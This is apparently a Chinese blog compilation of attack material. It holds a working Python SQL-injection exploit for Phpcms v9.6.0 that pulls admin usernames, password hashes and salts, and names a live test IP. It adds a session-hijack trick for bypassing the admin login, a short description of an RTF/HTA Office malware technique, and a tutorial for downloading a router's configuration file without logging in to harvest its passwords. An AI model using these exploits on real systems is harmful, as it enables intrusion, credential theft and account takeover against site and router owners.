3.上一步我们已经获取到了通过json在通过cookie加密的SQL了因为他返回的cookie就是已经加密的SQLPayload现在我们传入到a_k变量看看到底发生了什么?
网上这个文档传的很快
作者我也不知道是谁
大家都把版权改成自己的
我也是醉了
有知情人士可留言~给人家一个版权
下面是EXP:
import requests,sys,urllib url = sys.argv[1] print 'Phpcms v9.6.0 SQLi Exploit Code By Luan' sqli_prefix = '%*27an*d%20' sqli_info = 'e*xp(~(se*lect%*2af*rom(se*lect co*ncat(0x6c75616e24,us*er(),0x3a,ver*sion(),0x6c75616e24))x))' sqli_password1 = 'e*xp(~(se*lect%*2afro*m(sel*ect co*ncat(0x6c75616e24,username,0x3a,password,0x3a,encrypt,0x6c75616e24) fr*om ' sqli_password2 = '_admin li*mit 0,1)x))' sqli_padding = '%23%26m%3D1%26f%3Dwobushou%26modelid%3D2%26catid%3D6' setp1 = url + '/index.php?m=wap&a=index&siteid=1' cookies = {} for c in requests.get(setp1).cookies: if c.name[-7:] == '_siteid': cookie_head = c.name[:6] cookies[cookie_head+'_userid'] = c.value cookies[c.name] = c.value print '[+] Get Cookie : ' + str(cookies) setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_info, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding for c in requests.get(setp2,cookies=cookies).cookies: if c.name[-9:] == '_att_json': sqli_payload = c.value print '[+] Get SQLi Payload : ' + sqli_payload setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload html = requests.get(setp3,cookies=cookies).content print '[+] Get SQLi Output : ' + html.split('luan$')[1] table_prefix = html[html.find('_download_data')-2:html.find( '_download_data')] print '[+] Get Table Prefix : ' + table_prefix setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_password1, safe='qwertyuiopasdfghjklzxcvbnm*') + table_prefix + urllib.quote_plus(sqli_password2, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding for c in requests.get(setp2,cookies=cookies).cookies: if c.name[-9:] == '_att_json': sqli_payload = c.value print '[+] Get SQLi Payload : ' + sqli_payload setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload html = requests.get(setp3,cookies=cookies).content print '[+] Get SQLi Output : ' + html.split('luan$')[1]
exp也是别人分享给我的
看起来作者应该是luan
测试地址:
122.9.16.209
成功截图:
不过呢,众所周知
phpcms的密文特别难解密
所以有个配合使用的方法
通过sql注入漏洞读取数据库信息
但是不能破解密码的情况下
可以绕过后台验证
phpcms数据库中表v9_session
保存着管理员登录的信息
而且字段sessionid保存着就是
已经登录管理后台的PHPSESSID
可以通过sql注入读取到这个值
并写入到自己的浏览器中。
直接访问后台地址:
/index.php?m=admin&c=index&a=public_menu_left
将数据库中的sessionid信息带入!
相关文章网上也有
最后,我还是觉得这个漏洞挺鸡肋的
至于哪里鸡肋请看官细细体会
还有几个更牛逼的漏洞也许
过几天就会有人放出来了
反正我不做第一个吃螃蟹的人了
怕被打死~
原文地址:https://zhuanlan.zhihu.com/p/26263513
PS:很多政府机关/事业单位都是phpcms,我批量检测里面有很多都中招了,赶紧升级吧!阿西吧...据说二月份就出来了...
警惕office出轨,慎点不可描叙的地方
刚看到微步出了报告,感觉也只是冰山一角,这个漏洞最早由卖咖啡和火眼爆出,看nccgroup报告16底就已经出现,近期开始特别活跃起来,有用于rat/rookit/银行木马。
样本会是一个rtf格式的文档,后缀可以是doc等office文档。
一个关键点是攻击者需要搭建一个服务器,通过olelink对象产生的请求可以返回成一个pplication/hta类型,运行脚本完成最终的payload。
因此,样本会具有实时性,黑客如果关闭下载hta的服务器将很难追踪分析到最终的payload。
想了解详情的同学,推荐关注火眼和nccgroup的报告,完整的exploit估计也快公开了~
磊科NW系列最新通杀0day,不需要登陆即可下载路由器配置文件
Mrxn声明:此文章只能用于学习研究,禁止用于非法用途,否则后果与本博客无关。
0X1:总体描述
磊科NW系列路由器存在不需要登录路由器就可以下载路由器配置文件param.file.tgz,通过WinHEX查看此配置文件可得到路由器配置信息,包括路由器登录用户名密码,宽带账号、密码,动态域名登录用户名密码,WiFi_ssid wifi_key等等。
注:前提是你已经破解了WiFi密码,连接上了WiFi。教程:WiFi破解教程,资源下载,自己看吧。 没有的可以自己测试一下自己的路由器
0X2:具体操作
eg:路由器的网关是192.168.1.1 ,打开IE,在地址栏输入:http://192.168.1.1,然后回车>>>>>>
是不是需要账号密码?下面就是重点:
我们点击登录窗口右上角的那个 红X (鼠标位置,给小白的,老鸟飞过吧 ^_^) ,关掉登录窗口,然后在地址栏的末尾添加上param.file.tgz,地址改变为:http://192.168.1.1/param.file.tgz 此时神器的事情就发生了哦,如下图所示:
下载保存吧。注:只能用IE自带的下载,其他的下载不好使。
下载完后,就是读取配置文件的时候了;
0X3,用神器WinHex读取 **.file.tgz 配置文件
路由器登录用户名+密码;
WiFi_ssid + WiFi_key (骚年必须先破解了才能蹭网执行上面的步骤吧 O(∩_∩)O哈哈~);
路由器的型号,固件版本通通都知道了吧。
0X4,End
你得到了这些后可以干很多事情的的,比如cookies劫持,登录他的空间,微博,百度账号。内网嗅探,渗透deng 自由发挥吧<<<<<
也可以参看我的另一篇教程:破解了你的路由密码后,我还可以这样做,绝对不是蹭你网这么简单
好了,教程到此结束了,写教程真的很累,原创,转载请注明出处Mrxn's Blog,谢谢。